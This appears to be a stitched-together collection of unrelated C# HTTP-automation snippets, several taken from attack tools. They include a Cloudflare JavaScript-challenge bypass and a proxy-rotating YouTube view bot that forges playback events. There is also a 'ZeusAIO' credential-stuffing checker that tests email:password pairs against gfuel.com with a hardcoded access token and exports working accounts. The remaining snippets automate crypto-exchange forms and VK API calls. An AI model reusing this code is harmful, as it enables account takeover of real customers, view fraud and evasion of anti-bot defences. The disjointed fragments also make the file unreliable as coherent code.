public static Leaf.xNet.HttpResponse Submit( string formId, Leaf.xNet.HttpResponse response, string baseUrl, ref Leaf.xNet.HttpRequest httpRequest, List <KeyValuePair <string, string> > changeInputs) { string responeContent = response.ToString(); Parser parser = new Parser(responeContent); IElement form = parser.GetForm(formId); List <ParserInputData> inputs = parser.GetInputsByForm(form); if (changeInputs != null) { foreach (var changeInput in changeInputs) { parser .ModifyInputs( ref inputs, changeInput.Key, changeInput.Value ); } } string action = baseUrl + form.GetAttribute("action").Substring(1); return(httpRequest.Post(action, Helper.ConvertToRequestParams(inputs))); }
public void MainPage() { //1. инициалицирует csrf и получает форму initResponse = httpRequest.Get(BASE_URL + TICKET_ACTION); if (Helper.IsBan(initResponse)) { throw new Exception("БАН"); } //2. заполняем поля и посылаем форму List <KeyValuePair <string, string> > changeInputs = new List <KeyValuePair <string, string> >(); Parser parser = new Parser(initResponse.ToString()); IElement form = parser.GetForm("order-form"); double costBtc = GetBtcRateByTicketForm(form); double amountBtc = GetAmountRecive(amount, costBtc); changeInputs.Add(new KeyValuePair <string, string>("SellForm[sell_amount]", amount.ToString().Replace(',', '.'))); changeInputs.Add(new KeyValuePair <string, string>("SellForm[sell_source]", phone)); changeInputs.Add(new KeyValuePair <string, string>("BuyForm[buy_amount]", amountBtc.ToString().Replace(',', '.'))); changeInputs.Add(new KeyValuePair <string, string>("BuyForm[buy_target]", btcAddr)); step1Response = Helper.Submit("order-form", initResponse, BASE_URL, ref httpRequest, changeInputs); if (Helper.IsBan(step1Response)) { throw new Exception("БАН"); } }
public void Step1Page() { step2Response = Helper.Submit("order-form", step1Response, BASE_URL, ref httpRequest, null); if (Helper.IsBan(step2Response)) { throw new Exception("БАН"); } }
override public string[] getAccessTokenJSON(string code) { Leaf.xNet.HttpResponse tokenResponse = null; string[] result = new string[2]; using (var tokenRequest = new Leaf.xNet.HttpRequest()) { tokenRequest.UserAgent = Http.ChromeUserAgent(); tokenResponse = tokenRequest.Get(oAuthATUri + code); result[0] = JSONSerializer.getValueOfJSONString("access_token", tokenResponse.ToString()); result[1] = " " + JSONSerializer.getValueOfJSONString("user_id", tokenResponse.ToString()); } return(result); }
public bool CheckIsWork() { try { Leaf.xNet.HttpResponse mainPageContent = httpRequest.Get(BASE_URL); if (mainPageContent.ToString().Length > 0) { return(true); } } catch (Exception) { } return(false); }
public Leaf.xNet.HttpResponse Get(string url, ref Leaf.xNet.HttpRequest req) { Leaf.xNet.HttpResponse con = null; var JSEngine = new Jint.Engine(); var uri = new Uri(url); try { req.Cookies = new CookieStorage(); req.UserAgent = Http.ChromeUserAgent(); //Делаем запрос к сайту с защитой CF, вероятнее всего он выдаст ошибку 503 и отправимся мы в блок Catch con = req.Get(url); } catch (Exception) { //В переменную Con заносим ответ от сайта и парсим нужную инфу con = req.Response; var challenge = Regex.Match(con.ToString(), "name=\"jschl_vc\" value=\"(\\w+)\"").Groups[1].Value; var challenge_pass = Regex.Match(con.ToString(), "name=\"pass\" value=\"(.+?)\"").Groups[1].Value; var builder = Regex.Match(con.ToString(), @"setTimeout\(function\(\){\s+(var t,r,a,f.+?\r?\n[\s\S]+?a\.value =.+?)\r?\n").Groups[1].Value; builder = Regex.Replace(builder, @"a\.value =(.+?) \+ .+?;", "$1"); builder = Regex.Replace(builder, @"\s{3,}[a-z](?: = |\.).+", ""); builder = Regex.Replace(builder, @"[\n\\']", ""); //Выполняем JS long solved = long.Parse(JSEngine.Execute(builder).GetCompletionValue().ToObject().ToString()); solved += uri.Host.Length; //add the length of the domain to it. //Ждем 3 сек, иначе CF пошлет нас к хуям Thread.Sleep(3000); //Генерируем запрос string cookie_url = string.Format("{0}://{1}/cdn-cgi/l/chk_jschl", uri.Scheme, uri.Host); var uri_builder = new UriBuilder(cookie_url); var query = HttpUtility.ParseQueryString(uri_builder.Query); query["jschl_vc"] = challenge; query["pass"] = challenge_pass; query["jschl_answer"] = solved.ToString(); uri_builder.Query = query.ToString(); req.AllowAutoRedirect = false; req.Referer = url; //Отправляем запрос con = req.Get(uri_builder.Uri); } return(con); }
public Post getVKPost(string accessToken, string groupId, int numberOfPost) { Leaf.xNet.HttpResponse postResponse = null; Post result = new Post(); using (var postRequest = new Leaf.xNet.HttpRequest()) { postRequest.UserAgent = Http.ChromeUserAgent(); postResponse = postRequest.Get( String.Format("https://api.vk.com/method/wall.get?extended=1&owner_id=-{0}&count=1&offset={1}&access_token={2}&v={3}" , groupId, numberOfPost, accessToken, version)); result = JSONSerializer.getPost(postResponse.ToString()); Thread.Sleep(200); return(result); } }
public QIWINumberRespone GetQIWINumber() { string id = new ParseFinalPage( finalStepResponse.ToString() ) .GetCardId(); httpRequest.AddXmlHttpRequestHeader(); Leaf.xNet.HttpResponse qiwiNumberResponse = httpRequest .Get(BASE_URL + "/order/ajax?method=showHB&id=" + id + "&value=in-card-number"); if (Helper.IsBan(qiwiNumberResponse)) { throw new Exception("БАН"); } return(Newtonsoft.Json.JsonConvert.DeserializeObject <QIWINumberRespone>(qiwiNumberResponse.ToString())); }
public void Step2Page(string email = "") { List <KeyValuePair <string, string> > changeInputs = new List <KeyValuePair <string, string> >(); changeInputs.Add(new KeyValuePair <string, string>("PreOrderForm[email]", email)); step3Response = Helper.Submit( "order-form", step2Response, BASE_URL, ref httpRequest, email == "" ? null : changeInputs ); if (Helper.IsBan(step3Response)) { throw new Exception("БАН"); } }
override public string[] getAccessTokenJSON(string code) { Leaf.xNet.HttpResponse tokenResponse = null; string[] result = new string[2]; using (var tokenRequest = new Leaf.xNet.HttpRequest()) { RequestParams requestParams = new RequestParams(); requestParams.Add(new KeyValuePair <string, string>("client_id", applicationId)); requestParams.Add(new KeyValuePair <string, string>("client_secret", applicationSecret)); requestParams.Add(new KeyValuePair <string, string>("grant_type", "authorization_code")); requestParams.Add(new KeyValuePair <string, string>("redirect_uri", redirectUri)); requestParams.Add(new KeyValuePair <string, string>("code", code)); tokenRequest.UserAgent = Http.ChromeUserAgent(); tokenResponse = tokenRequest.Post(oAuthATUri, requestParams, false); result[0] = JSONSerializer.getValueOfJSONString("access_token", tokenResponse.ToString()); result[1] = " " + JSONSerializer.getValueOfJSONString("user_id", tokenResponse.ToString()); } return(result); }
public bool DoLogin() { //1. инициалицирует csrf и получает форму initResponse = httpRequest.Get(BASE_URL + LOGIN_ACTION); string initResponseContent = initResponse.ToString(); //2. авторизация Parser parser = new Parser(initResponseContent); IElement form = parser.GetForm("login-form"); List <ParserInputData> inputs = parser.GetInputsByForm(form); parser.ModifyInputs(ref inputs, "LoginForm[identity]", uname) .ModifyInputs(ref inputs, "LoginForm[password]", passwrd); loginResponse = httpRequest.Post(BASE_URL + LOGIN_ACTION, Helper.ConvertToRequestParams(inputs)); string loginResponseContent = loginResponse.ToString(); return(loginResponseContent.IndexOf("/user/sign-in/logout") != -1); }
public string GetUrlForCreate(string email, double amountRUB, string phone, string addressBTC) { this.current = httpRequest.Get(BASE_URL + PAIR); Parser parser = new Parser(this.current.ToString()); IElement form = parser.GetForm("ajax_post_bids"); List <ParserInputData> inputs = parser.GetInputsByForm(form); parser .ModifyInputs(ref inputs, "cf6", email) .ModifyInputs(ref inputs, "sum1", amountRUB.ToString()) .ModifyInputs(ref inputs, "account1", phone) .ModifyInputs(ref inputs, "account2", addressBTC.ToString()) .ModifyInputs(ref inputs, "check_data", "1"); string action = BASE_URL + form.GetAttribute("action"); var responseJson = httpRequest.Post(action, HtmlHelper.ConvertToRequestParams(inputs)); var response = JsonConvert.DeserializeObject <AjaxCreateResponse>(responseJson.ToString()); return(response.url); }
public string GetUrlFinalPage(string url, out double amountBTC) { this.current = httpRequest.Get(url); var html = this.current.ToString(); Parser parser = new Parser(html); amountBTC = parser.GetAmount("block_xchdata_line", "Bitcoin BTC"); IElement form = parser.GetForm("ajax_post_form"); List <ParserInputData> inputs = parser.GetInputsByForm(form); parser.ModifyInputs(ref inputs, "check", "1"); string action = BASE_URL + form.GetAttribute("action"); var responseJson = httpRequest.Post(action, HtmlHelper.ConvertToRequestParams(inputs)); var response = JsonConvert.DeserializeObject <AjaxGetFinalPageResponse>(responseJson.ToString()); return(response.url); }
public (double, double) GetRate() { double rate = 0, balance = 0; this.current = httpRequest.Get(BASE_URL + PAIR); string html = this.current.ToString(); Parser parser = new Parser(html); rate = MoneyHelper.ToDouble(parser.GetValueInput("sum1")); string draftBalance = parser.GetContent("span_get_max") .ToLower() .Replace("max.", "") .Replace("max", "") .Replace(":", "") .Replace("btc", "") .Trim(); balance = MoneyHelper.ToDouble(draftBalance); return(rate, balance); }
public RecvisitsResponse GetRecvisitsOnFinalPage(string url) { this.current = httpRequest.Get(url); string html = this.current.ToString(); Parser parser = new Parser(html); string urlWithRecvisits = parser.GetHref("success_paybutton").Replace("&", "&"); Uri urlWithRecvisitsURI = new Uri(urlWithRecvisits); var urlParams = HttpUtility.ParseQueryString(urlWithRecvisitsURI.Query); RecvisitsResponse recvisits = new RecvisitsResponse() { extra_account = urlParams.Get("extra['account']"), source = urlParams.Get("source"), amountInteger = urlParams.Get("amountInteger"), amountFraction = urlParams.Get("amountFraction"), currency = urlParams.Get("currency"), extra_comment = urlParams.Get("extra['comment']") }; return(recvisits); }
private static void Worker() { var random = new Random(); while (true) { try { using (var req = new HttpRequest { Proxy = _scraper.Next() }) { req.UserAgentRandomize(); HttpResponse res = req.Get($"https://www.youtube.com/watch?v={_id}"); var sres = res.ToString(); var viewersTemp = string.Join("", RegularExpressions.Viewers.Match(sres).Groups[1].Value.Where(char.IsDigit)); if (!string.IsNullOrEmpty(viewersTemp)) { _viewers = viewersTemp; } _title = RegularExpressions.Title.Match(sres).Groups[1].Value; var url = RegularExpressions.ViewUrl.Match(sres).Groups[1].Value; url = url.Replace(@"\u0026", "&").Replace("%2C", ",").Replace(@"\/", "/"); var query = HttpUtility.ParseQueryString(url); var cl = query.Get(query.AllKeys[0]); var ei = query.Get("ei"); var of = query.Get("of"); var vm = query.Get("vm"); var buffer = new byte[100]; random.NextBytes(buffer); var cpn = RegularExpressions.Trash.Replace(Convert.ToBase64String(buffer), "").Substring(0, 16); var st = random.Next(1000, 10000); var et = st + random.Next(200, 700); var rt = random.Next(10, 200); var lact = random.Next(1000, 8000); var rtn = rt + 300; var args = new Dictionary <string, string> { ["ns"] = "yt", ["el"] = "detailpage", ["cpn"] = cpn, ["docid"] = _id, ["ver"] = "2", ["cmt"] = et.ToString(), ["ei"] = ei, ["fmt"] = "243", ["fs"] = "0", ["rt"] = rt.ToString(), ["of"] = of, ["euri"] = "", ["lact"] = lact.ToString(), ["live"] = "dvr", ["cl"] = cl, ["state"] = "playing", ["vm"] = vm, ["volume"] = "100", ["cbr"] = "Firefox", ["cbrver"] = "83.0", ["c"] = "WEB", ["cplayer"] = "UNIPLAYER", ["cver"] = "2.20201210.01.00", ["cos"] = "Windows", ["cosver"] = "10.0", ["cplatform"] = "DESKTOP", ["delay"] = "5", ["hl"] = "en_US", ["rtn"] = rtn.ToString(), ["aftm"] = "140", ["rti"] = rt.ToString(), ["muted"] = "0", ["st"] = st.ToString(), ["et"] = et.ToString() }; var urlToGet = BuildUrl(args); req.AcceptEncoding = "gzip, deflate"; req.AddHeader("Host", "www.youtube.com"); req.Get(urlToGet); Interlocked.Increment(ref _botted); } } catch { Interlocked.Increment(ref _errors); } Thread.Sleep(1); } }
public static bool IsBan(Leaf.xNet.HttpResponse response) => response.ToString().IndexOf("БАН IP") != -1;
public static bool IsBanForever(Leaf.xNet.HttpResponse response) { string content = response.ToString(); return(content.ToUpper().IndexOf("IP ЗАБЛОКИРОВАН НАВСЕГДА".ToUpper()) != -1); }
public static bool CheckAccount(string[] s, string proxy) { for (int i = 0; i < Config.config.Retries + 1; i++) { while (true) { try { Retry: using (HttpRequest req = new HttpRequest()) { SetBasicRequestSettingsAndProxies(req); req.AddHeader("Content-Type", "application/graphql; charset=utf-8"); req.AddHeader("Accept", "application/json"); req.AddHeader("X-Shopify-Storefront-Access-Token", "21765aa7568fd627c44d68bde191f6c0"); Leaf.xNet.HttpResponse res = req.Post(new Uri("https://gfuel.com/api/2020-01/graphql"), new BytesContent(Encoding.Default.GetBytes("mutation{customerAccessTokenCreate(input:{email:\"" + s[0] + "\",password:\"" + s[1] + "\"}){customerAccessToken{accessToken,expiresAt},userErrors{field,message}}}"))); string strResponse = res.ToString(); if (strResponse.Contains("\"accessToken\"")) { string accessToken = Regex.Match(strResponse, "\"accessToken\":\"(.*?)\"").Groups[1].Value; string capture = ""; capture = GFuelGetCaptures(accessToken, s[0]); if (capture != "") { break; } if (capture == "") { ZeusAIO.mainmenu.hits++; if (Config.config.LogorCui == "2") { Console.WriteLine("[HIT - GFUEL] " + s[0] + ":" + s[1] + " | " + "Capture Failed", Color.Green); } Export.AsResult("/Gfuel_capturefailed_hits", s[0] + ":" + s[1]); return(false); } ZeusAIO.mainmenu.hits++; if (Config.config.LogorCui == "2") { Console.WriteLine("[HIT - GFUEL] " + s[0] + ":" + s[1] + " | " + capture, Color.Green); } Export.AsResult("/Gfuel_hits", s[0] + ":" + s[1]); return(false); } else { break; } break; } } catch { ZeusAIO.mainmenu.errors++; } } } return(false); }